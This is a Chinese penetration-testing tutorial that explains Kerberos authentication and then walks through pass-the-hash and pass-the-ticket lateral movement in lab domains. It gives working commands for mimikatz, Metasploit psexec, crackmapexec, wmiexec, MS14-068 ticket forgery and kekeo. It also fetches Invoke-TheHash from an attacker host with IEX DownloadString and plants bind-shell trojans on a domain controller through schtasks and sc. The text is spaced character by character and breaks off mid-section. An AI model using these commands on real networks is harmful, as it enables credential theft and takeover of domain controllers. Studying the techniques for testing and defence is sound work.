搜索

[15714] 2020-08-10_内网横向移动：Kerberos认证与(哈希)票据传递攻击

文档创建者：s7ckTeam
浏览次数：26
最后更新：2025-01-18
2020-08-10_内网横向移动：Kerberos认证与(哈希)票据传递攻击 内 网 横 向 移 动 ： K e r b e r o s 认 证 与 ( 哈 希 ) 票 据 传 递 攻 击 原 创   M r A n o n y m o u s   F r e e B u f   2 0 2 0 - 0 8 - 1 0 在 上 节 《 内 网 横 向 移 动 ： 获 取 域 内 单 机 密 码 与 H a s h 》 中 ， 我 们 讲 了 如 何 在 内 网 渗 透 中 抓 取 主 机 的 的 密 码 和 哈 希 值 。 获 取 了 H a s h ， 我 们 可 以 对 其 进 行 破 解 ， 破 解 不 出 来 的 ， 我 们 就 可 以 利 用 他 们 通 过 P T H 、 P T T 等 攻 击 手 法 继 续 对 内 网 横 向 渗 透 ， 即 下 面 要 讲 的 。 本 节 ， 我 们 来 讲 解 横 向 渗 透 中 的 K e r b e r o s 认 证 与 票 据 传 递 攻 击 ， 这 一 部 分 在 内 网 渗 透 中 是 十 分 关 键 的 。 本 文 专 为 想 我 一 样 正 在 入 门 的 小 白 准 备 ， 大 佬 可 以 路 过 ， 呜 呜 呜 ！ 由 于 近 期 一 直 在 准 备 “ 蓝 帽 杯 ” 得 比 赛 ， 所 以 一 直 没 有 时 间 更 新 ， 文 章 可 能 略 显 仓 促 ， 不 足 之 处 还 请 多 多 指 教 。 K e r b e r o s 协 议 认 证 过 程 协 议 认 证 过 程 K e r b e r o s 协 议 是 一 种 基 于 第 三 方 可 信 主 机 的 计 算 机 网 络 协 议 ， 用 来 在 非 安 全 网 络 中 ， 对 个 人 通 信 以 安 全 的 手 段 进 行 身 份 认 证 。 K e r b e r o s 协 议 在 在 内 网 域 渗 透 中 至 关 重 要 ， 白 银 票 据 、 黄 金 票 据 、 攻 击 域 控 等 都 离 不 开 k e r b e r o s 协 议 。 关 键 角 色 ： 关 键 角 色 ： D o m a i n   C o n t r o l l e r   ( 域 控 制 器 域 控 制 器 ) ， 简 称 ， 简 称 D C ， 一 台 计 算 机 ， 实 现 用 户 、 计 算 机 的 统 一 管 理 。 ， 一 台 计 算 机 ， 实 现 用 户 、 计 算 机 的 统 一 管 理 。 K e y   D i s t r i b u t i o n   C e n t e r ( 秘 钥 分 发 中 心 秘 钥 分 发 中 心 ) ， 简 称 ， 简 称 K D C ， 默 认 安 装 在 域 控 里 ， 包 括 ， 默 认 安 装 在 域 控 里 ， 包 括 A S 和 和 T G S 。 。 A u t h e n t i c a t i o n   S e r v i c e ( 身 份 验 证 服 务 身 份 验 证 服 务 ) ， 简 称 ， 简 称 A S ， 用 于 ， 用 于 K D C 对 对 C l i e n t 认 证 。 认 证 。 T i c k e t   G r a n t n g   S e r v i c e   ( 票 据 授 予 服 务 票 据 授 予 服 务 ) ， 简 称 ， 简 称 T G S ， 用 于 ， 用 于 K D C 向 向 C l i e n t 和 和 S e r v e r 分 发 分 发 S e s s i o n   K e y （ 临 时 （ 临 时 k e y ） 。 ） 。 A c t i v e   D i r e c t o r y ( 活 动 目 录 活 动 目 录 ) ， 简 称 ， 简 称 A D ， 用 于 存 储 用 户 、 用 户 组 、 域 相 关 的 信 息 。 ， 用 于 存 储 用 户 、 用 户 组 、 域 相 关 的 信 息 。 C l i e n t   客 户 端 ， 指 用 户 。 客 户 端 ， 指 用 户 。 S e r v e r   服 务 端 ， 可 能 是 某 台 计 算 机 ， 也 可 能 是 某 个 服 务 。 服 务 端 ， 可 能 是 某 台 计 算 机 ， 也 可 能 是 某 个 服 务 。 打 个 比 方 ： 当 w h o a m i 要 和 b u n n y 进 行 通 信 的 时 候 ， w h o a m i 就 需 要 向 b u n n y 证 明 自 己 是 w h o a m i ， 直 接 的 方 式 就 是 w h o a m i 用 二 人 之 间 的 秘 密 做 秘 钥 加 密 明 文 文 字 生 成 密 文 ， 把 密 文 和 明 文 文 字 一 块 发 送 给 b u n n y ， b u n n y 再 用 秘 密 解 密 得 到 明 文 ， 把 明 文 和 明 文 文 字 进 行 对 比 ， 若 一 致 ， 则 证 明 是 w h o a m i 。 但 是 网 络 中 ， 密 文 和 文 字 很 有 可 能 被 窃 取 ， 并 且 只 要 时 间 足 够 ， 总 能 破 解 得 到 秘 钥 。 所 以 不 能 使 用 这 种 长 期 有 效 的 秘 钥 ， 要 改 为 短 期 的 临 时 秘 钥 。 那 么 这 个 临 时 秘 钥 就 需 要 一 个 第 三 方 可 信 任 的 机 构 来 提 供 ， 即 K D C （ K e y   D i s t r i b u t i o n   C e n t e r ） 。 下 面 讲 一 下 详 细 的 认 证 步 骤 ， 大 概 分 为 三 个 阶 段 ： A S - R E Q — A S - R E P 阶 段 ： 阶 段 ： 首 先 C l i e n t 用 自 己 的 哈 希 值 N T L M - h a s h 对 t i m e s t a m p 、 c l i e n t - i n f o 、 s e r v e r - i n f o 等 数 据 进 行 加 密 ， 发 送 给 A S ， 向 A S 请 求 T G T 票 据 。 （ A S - R E Q ） 当 A S 收 到 C l i e n t 发 来 的 信 息 后 ， A S 会 先 向 域 控 A D 请 求 ， 询 问 是 否 有 此 C l i e n t 用 户 ， 如 果 有 的 话 ， 就 会 取 出 该 C l i e n t 的 N T L M   h a s h ， 然 后 生 成 一 个 随 机 秘 钥 称 为 S e s s i o n - K e y   a s （ 临 时 秘 钥 S e s s i o n - K e y ） 。 并 使 用 C l i e n t   N T L M - h a s h   加 密   S e s s i o n - k e y   a s   作 为 一 部 分 内 容 。 还 有 一 部 分 内 容 就 是 T G T ： 使 用 K D C 一 个 特 定 账 户 k r b t g t 的 N T L M - h a s h 对 S e s s i o n - k e y   a s 、 t i m e s t a m p 、 C l i e n t - i n f o 进 行 的 加 密 。 然 后 将 这 两 部 分 回 复 给 C l i e n t 。 （ A S - R E P ） 该 阶 段 是 C l i e n t 和 A S 的 认 证 。 T G S - R E Q — T G S - R E P 阶 段 ： 阶 段 ： C l i e n t   收 到 A S 发 来 的 A S - R E P 后 ， 先 使 用 自 身 的   N T L M   H a s h   解 密 得 到   S e s s i o n - k e y   a s ， 然 后 使 用   S e s s i o n - k e y   a s   对   C l i e n t - I n f o 、 t i m e s t a m p 、 S e r v e r - I n f o   加 密 作 为 一 部 分 ， 加 上 T G T   ， 一 并 发 送 给   K D C 中 的   T G S 。 （ T G S - R E Q ） T G S   收 到 请 求 后 ， 使 用   k r b t g t   的   N T L M   H a s h   解 密   T G T ， 得 到   S e s s i o n - k e y   a s 、 t i m e s t a m p 、 C l i e n t - i n f o ， 同 时 ， 使 用   T G T   解 密 出 的   S e s s i o n - k e y   a s   解 密 第 一 部 分 内 容 ， 得 到 C l i e n t - i n f o 、 t i m e s t a m p 。 比 对 这 两 部 分 解 密 得 到 的 内 容 以 验 证 是 否 通 过 。 通 过 后 ， 生 成 一 个 新 的 随 机 秘 钥 ( S e s s i o n - K e y   t g s ) ， 并 向 C l i e n t 回 复 T G S - R E P 的 的 两 部 分 内 容 ： 1 .   一 部 分 是 S e s s i o n - k e y   a s   加 密 的   S e s s i o n - k e y   t g s 2 .   另 一 部 分 是 S T ( t i c k e t ) ， 即 S e r v e r   N T L M - h a s h 加 密 的 数 据 ( S e s s i o n - k e y   t g s 、 t i m e s t a m p 、 C l i e n t - i n f o ) 该 阶 段 是 C l i e n t 和 K D C 的 通 信 。 A P - R E Q — A P - R E P 阶 段 ： 阶 段 ： C l i e n t 收 到 T G S - R E P 后 后 ， 先 用 自 己 保 存 的 S e s s i o n - k e y   a s 解 密 出 了 S e s s i o n - k e y   t g s 。 再 使 用 S e s s i o n - k e y   t g s 加 密 C l i e n t - i n f o 、 t i m e s t a m p 作 为 一 部 分 内 容 ， 另 一 部 分 是 S T ， 一 并 发 送 给 S e r v e r 。 （ A P - R E Q ）
S e r v e r   收 到 C l i e n t 发 来 的 A P - R E Q 后 ， 用 自 身 的 N T L M   H a s h 解 密 了 S T ， 得 到 S e s s i o n - k e y   t g s ， 再 用 S e s s i o n - k e y   t g s 解 密 第 一 部 分 得 到 C l i e n t - i n f o 、 t i m e s t a m p 。 然 后 与 S T 的 C l i e n t - i n f o 、 t i m e s t a m p 进 行 对 比 。 t i m e s t a m p   一 般 时 间 为 8 小 时 。 验 证 通 过 后 ， 回 复 A P - R E P ， 最 终 建 立 通 信 。 K e r b e r o s 认 证 详 情 请 见 ： h t t p s : / / w w w . j i a n s h u . c o m / p / 1 3 7 5 8 c 3 1 0 2 4 2 ， 这 里 写 的 十 分 详 细 了 。 哈 希 与 票 据 传 递 攻 击 哈 希 与 票 据 传 递 攻 击 下 面 ， 我 们 以 下 图 所 示 的 环 境 来 具 体 演 示 哈 希 传 递 攻 击 （ P T H ） 的 方 法 。 如 图 中 ， 右 侧 是 一 个 内 网 环 境 ， 域 名 为 g o d ， 有 三 台 机 器 ： W i n d o w s   7 、 W i n d o w s   S e r v e r   2 0 0 8 、 W i n d o w s   S e r v e r   2 0 0 3 ， 其 中 W i n d o w s   7 和 W i n d o w s   S e r v e r   2 0 0 3 都 可 以 上 网 但 没 有 公 网 I P 。 攻 击 者 使 用 公 网 V P S 。 W i n d o w s   S e r v e r   2 0 0 8 （ 1 9 2 . 1 6 8 . 5 2 . 1 3 8 ） 为 域 控 制 器 （ 机 器 名 为 O W A ） ， 假 设 我 们 攻 击 者 已 经 获 得 了 W i n d o w s   7 域 成 员 主 机 的 控 制 权 ， 需 要 进 一 步 横 向 渗 透 去 拿 下 W i n d o w s   S e r v e r   2 0 0 3 和 域 控 。 以 上 实 验 环 境 来 自 v u l n s t a c k   1 靶 场 ， 可 以 看 我 的 相 关 文 章 《 记 一 次 基 础 的 V u l n s t a c k 渗 透 经 验 分 享 》 哈 希 传 递 攻 击 （ 哈 希 传 递 攻 击 （ P T H ） ） 使 用 使 用 M i m i k a t z 进 行 进 行 P T H P a s s   T h e   H a s h   哈 希 传 递 攻 击 简 称   P T H ， 该 方 法 通 过 找 到 与 账 户 相 关 的 密 码 散 列 值 （ N T L M   H a s h ） 来 进 行 攻 击 。 由 于 在 W i n d o w s 系 统 中 ， 通 常 会 使 用 N T L M   H a s h 对 访 问 资 源 的 用 户 进 行 身 份 认 证 ， 所 以 该 攻 击 可 以 在 不 需 要 明 文 密 码 的 情 况 下 ， 利 用 L M   H A S H 和 N T L M   H A S H 直 接 远 程 登 录 目 标 主 机 或 反 弹 s h e l l 。 在 域 环 境 中 ， 用 户 登 录 计 算 机 时 一 般 使 用 域 账 号 ， 大 量 计 算 机 在 安 装 时 会 使 用 相 同 的 本 地 管 理 员 账 号 和 密 码 ， 因 此 ， 如 果 计 算 机 的 本 地 管 理 员 账 号 和 密 码 也 相 同 ， 攻 击 者 就 能 使 用 哈 希 传 递 攻 击 的 方 法 来 登 录 内 网 中 的 其 他 主 机 。 使 用 该 方 法 ， 攻 击 者 不 需 要 花 费 时 间 来 对 H a s h 进 行 爆 破 ， 在 内 网 渗 透 里 非 常 经 典 。 常 常 适 用 于 域 / 工 作 组 环 境 。 下 面 演 示 哈 希 传 递 攻 击 的 方 法 （ 需 要 管 理 员 权 限 ） ： 首 先 ， 攻 击 者 在 W i n d o w s   7 上 面 上 传 m i m i k a t z ， 并 用 m i m i k a t z 抓 取 H a s h ： 如 上 图 ， 成 功 抓 取 到 域 管 理 员 的 N T L M   H a s h ： 然 后 ， 在 W i n d o w s   7 上 用 m i m i k a t z 将 获 取 的 A d m i n i s t r a t o r 的 H a s h 添 加 进 l s a s s 中 ： p r i v i l e g e : : d e b u g s e k u r l s a : : l o g o n p a s s w o r d s 4 d 6 e 4 3 b 2 c d c 9 5 1 8 0 8 1 0 0 f 5 b 1 d 0 9 a a c 6 3 p r i v i l e g e : : d e b u g s e k u r l s a : : p t h   / u s e r : a d m i n i s t r a t o r   / d o m a i n : w o r k g r o u p   / n t l m : 4 d 6 e 4 3 b 2 c d c 9 5 1 8 0 8 1 0 0 f 5 b 1 d 0 9 a a c 6 3
成 功 ， 此 时 会 自 动 弹 出 一 个 新 的 s h e l l ， 这 时 访 问 远 程 主 机 或 服 务 ， 就 不 用 提 供 明 文 密 码 了 ， 如 下 ， 我 们 列 出 了 域 控 制 器 O W A 的 c 盘 目 录 ： 我 们 还 能 将 m s f 木 马 c o p y 到 域 控 上 并 设 置 计 划 任 务 或 创 建 服 务 来 执 行 ： 注 意 ， 哈 希 传 递 攻 击 要 注 意 一 下 几 点 ： d i r 命 令 后 面 要 使 用 主 机 名 ， 不 能 用 I P ， 否 则 报 错 使 用 m i m i k a t z 进 行 哈 希 传 递 要 具 有 本 地 管 理 员 权 限 使 用 使 用 M e t a s p l o i t 进 行 进 行 P T H 经 常 使 用 的 三 个 模 块 以 e x p l o i t / w i n d o w s / s m b / p s e x e c 模 块 哈 希 传 递 攻 击 W i n d o w s   S e r v e r   2 0 0 3 为 例 （ 设 置 s m b u s e r 、 s m b p a s s 、 s m b d o m a i n ） 可 以 看 到 ， 该 模 块 默 认 使 用 也 仅 能 使 用 w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p 作 为 p a y l o a d ， 其 为 反 向 的 s h e l l ， 这 也 就 决 定 了 ， 我 们 进 行 哈 希 传 递 攻 击 的 目 标 主 机 ( W i n d o w s   S e r v e r   2 0 0 3 ) 必 须 能 上 网 。 c o p y   b i n d s h e l l . e x e   O W A c $                 / /   将 m s f 木 马 b i n d s h e l l . e x e 复 制 到 目 标 机 器 上 s c h t a s k s   / c r e a t e   / t n   " s h e l l "   / t r   C : b i n d s h e l l . e x e   / s c   M I N U T E   / s   1 9 2 . 1 6 8 . 5 2 . 1 3 8                                 / /   在 域 控 上 创 建 s h e l l 计 划 任 务 ， 开 机 时 启 动 c 盘 下 b i n d s h e l l . e x e s c h t a s k s   / r u n   / s   1 9 2 . 1 6 8 . 5 2 a u x i l i a r y / a d m i n / s m b / p s e x e c _ c o m m a n d             / /   在 目 标 机 器 上 执 行 系 统 命 令                               e x p l o i t / w i n d o w s / s m b / p s e x e c                         / /   用 p s e x e c 执 行 系 统 命 令                     e x p l o i t / w i n d o w s / s m b / p s e x e c u s e   e x p l o i t / w i n d o w s / s m b / p s e x e c s e t   r h o s t s   1 9 2 . 1 6 8 . 5 2 . 1 4 1 s e t   s m b u s e r   a d m i n i s t r a t o r s e t   s m b p a s s   0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 : 4 d 6 e 4 3 b 2 c d c 9 5 1 8 0 8 1 0 0 f 5 b 1 d 0 9 a a c 6 3     #   完 整 的 A d m i n i s t r a t o r 用 户 的 H a s h s e t   s m b d o m a i n   g o d r u n
如 上 图 ， 攻 击 成 功 ， 得 到 W i n d o w s   S e r v e r   2 0 0 3 的 s h e l l 。 注 意 这 里 的 s m b p a s s 选 项 ， 其 可 以 为 明 文 密 码 ， 也 可 以 为 H a s h ， 但 H a s h 必 须 是 完 整 的 ， 如 果 不 知 道 前 面 的 L M   H a s h 部 分 ， 可 以 像 上 面 那 样 用 0 代 替 。 不 要 忘 了 设 置 通 向 内 网 的 路 由 或 者 代 理 。 不 要 忘 了 设 置 通 向 内 网 的 路 由 或 者 代 理 。 使 用 使 用 C r a c k m a p e x e c 进 行 进 行 P T H 该 工 具 位 于 k a l i 上 面 ， 其 可 以 对 C 段 主 机 批 量 进 行 P T H 攻 击 。 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / b y t 3 b l 3 3 d 3 r / C r a c k M a p E x e c . g i t 在 k a l i 上 直 接 用 a p t - g e t 就 可 以 安 装 ： 对 内 网 主 机 进 行 P T H 的 命 令 如 下 ： 更 多 c r a c k m a p e x e c 使 用 请 参 考 资 料 ： C r a c k M a p E x e c ： 域 环 境 渗 透 中 的 瑞 士 J u n d a o 红 队 测 试 工 具 - C r a c k M a p E x e c - 远 程 执 行 W i n d o w s 命 令 利 用 利 用 w m i e x e c 进 行 进 行 P T H 1 .   p y t h o n   版 本 版 本 ( w m i e x e c . p y ) 这 是 i m p a c k e t 工 具 包 里 面 的 脚 本 ， 可 以 用 来 P T H ， 十 分 强 大 并 可 以 走 s o c k s 代 理 。 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / S e c u r e A u t h C o r p / i m p a c k e t 首 先 攻 击 者 安 装 i m p a c k e t 工 具 包 ： 进 入 e x a m p l e s 目 录 即 可 找 到 我 们 的 w m i e x e c . p y ， 然 后 执 行 2 .   w m i e x e c . e x e 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / m a a a a z / i m p a c k e t - e x a m p l e s - w i n d o w s 该 e x e 版 本 的 与 上 面 那 个 w m i e x e c . p y 是 一 样 的 ， 是 通 过 p y t h o n   i m p a c k e t 库 实 现 的 ， 用 法 相 同 ， 不 再 演 示 。 a p t - g e t   i n s t a l l   c r a c k m a p e x e c c r a c k m a p e x e c   s m b   I P   - u   u s e r   - H   h a s h   - d   g o d . o r g   - x   w h o a m i c r a c k m a p e x e c   s m b   1 9 2 . 1 6 8 . 5 2 . 1 3 8   - u   a d m i n i s t r a t o r   - H   4 d 6 e 4 3 b 2 c d c 9 5 1 8 0 8 1 0 0 f 5 b 1 d 0 9 a a c 6 3   - d   g o d . o r g   - x   w h o a m i I P   可 以 是 单 个 I P g i t   c l o n e   h t t p s : / / g i t h u b . c o m / C o r e S e c u r i t y / i m p a c k e t . g i t c d   i m p a c k e t / p i p   i n s t a l l   . ( p r o x y c h a i n s 4 )   p y t h o n   w m i e x e c . p y   - h a s h e s   L M   H a s h : N T   H a s h   域 名 / 用 户 名 @ 1 9 2 . 1 6 8 . 5 2 . 1 3 8   " 命 令 " p y t h o n   w m i e x e c . p y   - h a s h e s   0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 : 4 d 6 e 4 3 b 2 c d c 9 5 1 8 0 8 1 0 0 f 5 b 1 d 0 9 a a c 6 3   g o d / a d m i n i s t r a t o r @ 1 9 2 .
3 .   p o w e r s h e l l 版 本 版 本 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / K e v i n - R o b e r t s o n / I n v o k e - T h e H a s h I n v o k e - T h e H a s h 项 目 是 一 个 基 于 . N e t   T C P C l i e n t ， 通 过 把 N T L M   h a s h 传 递 给 N T L M v 2 身 份 验 证 协 议 来 进 行 身 份 验 证 的 攻 击 套 件 ， 且 执 行 时 客 户 端 不 需 要 本 地 管 理 员 权 限 。 内 含 如 下 多 个 脚 本 ： 其 可 以 执 行 W M I 和 S M B 命 令 ， 并 对 内 网 I P 批 量 进 行 P T H 攻 击 。 使 用 方 法 ： 在 目 标 主 机 W i n d o w s   7 的 p o w e r s h e l l 上 执 行 如 下 ： - T a r g e t   ： 目 标 主 机 名 或 I P 地 址 / 段 。 - U s e r n a m e   ： 用 于 身 份 验 证 的 用 户 名 。 - D o m a i n ： 用 于 身 份 验 证 的 域 。 本 地 帐 户 或 在 用 户 名 后 使 用 @ d o m a i n 时 不 需 要 此 参 数 。 - H a s h ： 用 于 身 份 验 证 的 N T L M 密 码 哈 希 （ 格 式 ： L M : N T L M   或   N T L M ） 。 - C o m m a n d   ： 在 目 标 上 执 行 的 命 令 。 如 果 命 令 未 指 定 ， 则 将 检 查 用 户 名 和 哈 希 是 否 可 以 访 问 目 标 上 的 S C M 。 使 用 的 时 候 需 要 先 加 载 I n v o k e - W M I E x e c . p s 1 脚 本 ， 然 后 再 加 载 I n v o k e - T h e H a s h . p s 1 脚 本 ， 因 为 I n v o k e - T h e H a s h   里 要 用 到   I n v o k e - W M I E x e c   方 法 。 如 上 图 ， 成 功 在 批 量 内 网 其 他 主 机 行 执 行 了 命 令 。 如 下 我 们 在 域 控 （ 1 9 2 . 1 6 8 . 5 2 . 1 3 8 ） 上 开 启 n o t e p a d 进 程 ： 去 域 控 上 查 看 3 3 3 6 号 进 程 ： 可 知 ， 进 程 启 动 成 功 。 哈 希 传 递 攻 击 的 预 防 哈 希 传 递 攻 击 的 预 防 打 k b 2 8 7 1 9 9 7 补 丁 。 打 上 该 补 丁 后 ， 会 禁 止 通 过 本 地 管 理 员 权 限 与 远 程 主 机 进 行 连 接 ， 导 致 无 法 通 过 本 地 管 理 员 权 限 对 远 程 计 算 机 使 用 P s E x e c 、 W M I 、 s m b e x e c 、 s c h t a s k s 、 s c 等 ， 也 无 法 访 问 远 程 主 机 的 文 件 共 享 。 但 是 在 测 试 中 发 现 ， 在 打 了   k b 2 8 7 1 9 9 7   这 个 补 丁 后 ， 常 规 的 哈 希 传 递 已 经 无 法 成 功 ， 但 默 认 的 A d m i n i s t r a t o r ( S I D 为 为 5 0 0 ) 账 号 例 外 ， 利 用 这 个 账 号 仍 可 以 进 行 哈 希 传 递 。 I n v o k e - W M I E x e c . p s 1 I n v o k e - S M B E x e c . p s 1 I n v o k e - S M B E n u m . p s 1 I n v o k e - S M B C l i e n t . p s 1 I n v o k e - T h e H a s h . p s 1 I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 3 9 . x x x . x x x . 2 1 0 / I n v o k e - T h e H a s h / I n v o k e - W M I E x e c . p s 1 ' ) ; I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 3 9 . x x x . x x x . 2 1 0 / I n v o k e - T h e H a s h / I n v o k e - T h e H a s h . p s 1 ' ) ; I n v o k e - T h e H a s h   - T y p e   W M I E x e c   - T a r g e t   1 9 2 . 1 6 8 . 5 2 . 1 / 2 4   - D o m a i n   g o d   - U s e r n a m e   a d m i n i s t r a t o r   - H a s h  
票 据 传 递 攻 击 （ 票 据 传 递 攻 击 （ P T T ） ） 上 面 我 们 所 讲 的 P T H 是 基 于 N T L M 认 证 的 ， 接 下 来 我 们 要 讲 的 P T T 是 基 于 K e r b e r o s 协 议 进 行 攻 击 的 ， K e r b e r o s 协 议 在 文 章 的 开 头 已 经 讲 过 了 ， 请 务 必 细 细 理 解 其 中 的 奥 妙 ！ 我 们 在 渗 透 测 试 中 ， 要 使 用 哈 希 传 递 攻 击 ， 则 必 须 要 获 取 目 标 机 器 的 管 理 员 权 限 。 如 果 没 有 管 理 员 权 限 ， 我 们 不 妨 用 用 P T T 。 在 票 据 传 递 攻 击 （ P T T ） 中 ， 我 们 常 用 的 有 M S 0 8 - 0 6 8 、 黄 金 票 据 、 白 银 票 据 。 其 中 M S 0 8 - 0 6 8 可 用 来 横 向 获 取 域 内 主 机 权 限 ， 黄 金 票 据 、 白 银 票 据 则 可 以 用 来 对 域 控 进 行 权 限 维 持 。 下 面 我 们 以 上 图 的 实 验 环 境 来 复 现 P T T 攻 击 的 具 体 操 作 。 右 侧 为 目 标 内 网 ， 域 名 为 d e m o ， W i n d o w s   7 为 普 通 用 户 d o u s e r ， 密 码 为 D o t e s t 1 2 3 , ； D C 为 域 管 理 员 a d m i n i s t r a t o r 用 户 。 假 设 我 们 已 经 用 m s f 获 得 了 W i n d o w s   7 的 控 制 权 ， 并 且 已 通 过 路 由 或 代 理 进 入 目 标 内 网 ， 我 们 要 利 用 P T T 攻 击 来 拿 下 D C 。 以 上 实 验 环 境 来 自 v u l n s t a c k   4 靶 场 ， 可 以 看 我 的 相 关 文 章 记 一 次 V u l n s t a c k 靶 场 内 网 渗 透 （ 二 ） M S 1 4 - 0 6 8 在 讲 解 M S 0 8 - 0 6 8 之 前 ， 我 们 要 先 了 解 P A C 这 个 东 西 ， P A C 是 用 来 验 证 C l i e n t 的 访 问 权 限 的 ， 它 会 被 放 在 T G T 里 发 送 给 C l i e n t ， 然 后 由 C l i e n t 发 送 给 T G S 。 W i n d o w s 域 中 使 用 k e r b e r o s 协 议 过 程 中 ， 为 了 让 服 务 器 判 断 C l i e n t 是 否 有 权 限 访 问 服 务 ， 微 软 在 W i n d o w s 平 台 上 对 K e r b e r o s 协 议 进 行 了 一 些 扩 充 ， 即 在 协 议 中 增 加 了 P A C （ P r i v i l e g e   A t t r i b u t e C e r t i f i c a t e ） ， 特 权 属 性 证 书 ， 也 就 是 这 个 P A C 造 成 了 M S 1 4 - 0 6 8 这 个 漏 洞 。 M S 1 4 - 0 6 8 是 密 钥 分 发 中 心 （ K D C ） 服 务 中 的 W i n d o w s 漏 洞 。 它 允 许 经 过 身 份 验 证 的 用 户 在 其 K e r b e r o s 票 证 （ T G T ） 中 插 入 任 意 的 插 入 任 意 的 P A C （ 表 示 所 有 用 户 权 限 的 结 构 ） 。 该 漏 洞 位 于 k d c s v c . d l l 域 控 制 器 的 密 钥 分 发 中 心 ( K D C ) 中 。 普 通 用 户 可 以 通 过 呈 现 具 有 改 变 了 普 通 用 户 可 以 通 过 呈 现 具 有 改 变 了 P A C 的 的 K e r b e r o s   T G T 来 获 得 票 证 ， 进 而 伪 造 票 据 获 得 管 理 员 权 限 。 来 获 得 票 证 ， 进 而 伪 造 票 据 获 得 管 理 员 权 限 。 了 解 了 漏 洞 原 理 后 ， 我 们 来 演 示 漏 洞 的 利 用 方 法 。 需 要 的 条 件 如 下 ： 域 内 任 意 用 户 S I D 域 内 任 意 用 户 密 码 利 用 利 用 M S 1 4 - 0 6 8 工 具 工 具 首 先 ， 我 们 需 要 在 目 标 主 机 W i n d o w s   7 上 面 获 得 一 个 域 用 户 d o u s e r 的 S I D ： S I D 为 ： S - 1 - 5 - 2 1 - 9 7 9 8 8 6 0 6 3 - 1 1 1 1 9 0 0 0 4 5 - 1 4 1 4 7 6 6 8 1 0 - 1 1 0 7 然 后 再 W i n d o w s   7 上 传 工 具 m s 1 4 - 0 6 8 . e x e ， 并 执 行 如 下 命 令 生 成 T G T 票 据 ： 如 上 图 ， 成 功 生 成 名 为 T G T _ d o u s e r @ D E M O . c o m . c c a c h e 的 票 据 文 件 ， 接 下 来 要 做 的 就 是 将 该 票 据 文 件 注 入 到 W i n d o w s   7 的 内 存 中 了 ： 在 W i n d o w s   7 上 传 m i m i k a t z ， 利 用 m i m i k a t z 将 票 据 注 入 到 当 前 内 存 中 ， 伪 造 凭 证 ： m s 1 4 - 0 6 8 . e x e   - u   d o u s e r @ d e m o . c o m   - s   S - 1 - 5 - 2 1 - 9 7 9 8 8 6 0 6 3 - 1 1 1 1 9 0 0 0 4 5 - 1 4 1 4 7 6 6 8 1 0 - 1 1 0 7   - d   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   - p   D o t e s t 1 2 3 m s 1 4 - 0 6 8 . e x e   - u   域 成 员 名 @ 域 名   - s   域 成 员 s i d   - d   域 控 制 器 i p 地 址   - p   域 成 员 密 码 m i m i k a t z   #   k e r b e r o s : : p u r g e                   / / 清 空 当 前 机 器 中 所 有 凭 证 ， 如 果 有 域 成 员 凭 证 会 影 响 凭 证 伪 造 m i m i k a t z   #   k e r b e r o s : : l i s t                     / / 查 看 当 前 机 器 凭 证 m i m i k a t z   #   k e r b e r o s : : p t c   票 据 文 件       / / 将 票 据 注 入 到 内 存 中
查 看 注 入 是 否 成 功 ： 如 上 图 ， 票 据 注 入 成 功 ， 此 时 ， 攻 击 者 就 可 以 利 用 W i n d o w s   7 可 任 意 访 问 域 中 所 有 机 器 ， 可 以 使 用 n e t   u s e 进 行 登 录 或 者 使 用 p s e x e c ， w m i 等 方 法 进 行 远 程 执 行 命 令 。 如 用 n e t   u s e 登 录 域 控 （ W I N - E N S 2 V R 5 T R 3 N ） ： 如 上 图 ， 成 功 登 录 域 控 并 列 出 了 域 控 的 c 盘 目 录 。 此 时 要 想 控 制 域 控 我 们 还 要 在 W i n d o w s   7 上 面 上 传 一 个 正 向 正 向 的 m s f 马 ， 并 将 该 木 马 c o p y 到 域 控 上 去 执 行 ： 然 后 再 W i n d o w s   7 上 通 过 s c 远 程 对 域 控 创 建 服 务 来 启 动 木 马 ： 执 行 后 ， 攻 击 机 上 的 m s f 成 功 上 线 域 控 ： k l i s t n e t   u s e   W I N - E N S 2 V R 5 T R 3 N c o p y   c : w i n d o w s s y s t e m 3 2 b i n d . e x e   W I N - E N S 2 V R 5 T R 3 N c $ s c   W I N - E N S 2 V R 5 T R 3 N   c r e a t e   b i n d s h e l l   b i n p a t h =   " c : b i n d . e x e " s c   W I N - E N S 2 V R 5 T R 3 N   s t a r t   b i n d s h e l l
成 功 拿 下 域 控 。 利 用 利 用 k e k e o 工 具 工 具 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / k e k e o / r e l e a s e s k e k e o 是 g e n t i l k i w i 开 源 的 一 个 工 具 ， 我 们 也 可 以 用 它 来 实 现 票 据 传 递 。 因 为 需 要 获 取 域 用 户 的 N T L M   H a s h ， 我 们 获 得 d o u s e r 用 户 的 h a s h ： 得 到 h a s h 为 ： b c 2 3 b 0 b 4 d 5 b f 5 f f 4 2 b c 6 1 f b 6 2 e 1 3 8 8 6 e 然 后 在 目 标 机 器 W i n d o w s   7 中 上 传 k e k e o 并 执 行 如 下 命 令 生 成 票 据 ： 如 上 图 ， 成 功 生 成 了 名 为 T G T _ d o u s e r @ D E M O . C O M _ k r b t g t ~ d e m o . c o m @ D E M O . C O M . k i r b i 的 票 据 文 件 ， 接 下 来 就 是 导 入 票 据 了 ： 如 上 图 导 入 成 功 ， 输 入 “ e x i t ” 退 出 k e k e o ， 此 时 ， 攻 击 者 就 可 以 利 用 W i n d o w s   7 可 任 意 访 问 域 中 所 有 机 器 ， 可 以 使 用 n e t   u s e 进 行 登 录 或 者 使 用 p s e x e c ， w m i 等 方 法 进 行 远 程 执 行 命 令 了 ， 具 体 操 作 同 上 ， 不 再 演 示 。 黄 金 票 据 （ 黄 金 票 据 （ G o l d e n   t i c k e t ） ） 在 W i n d o w s 的 k e r b e r o s 认 证 过 程 中 ， C l i e n t 将 自 己 的 信 息 发 送 给 K D C ， 然 后 K D 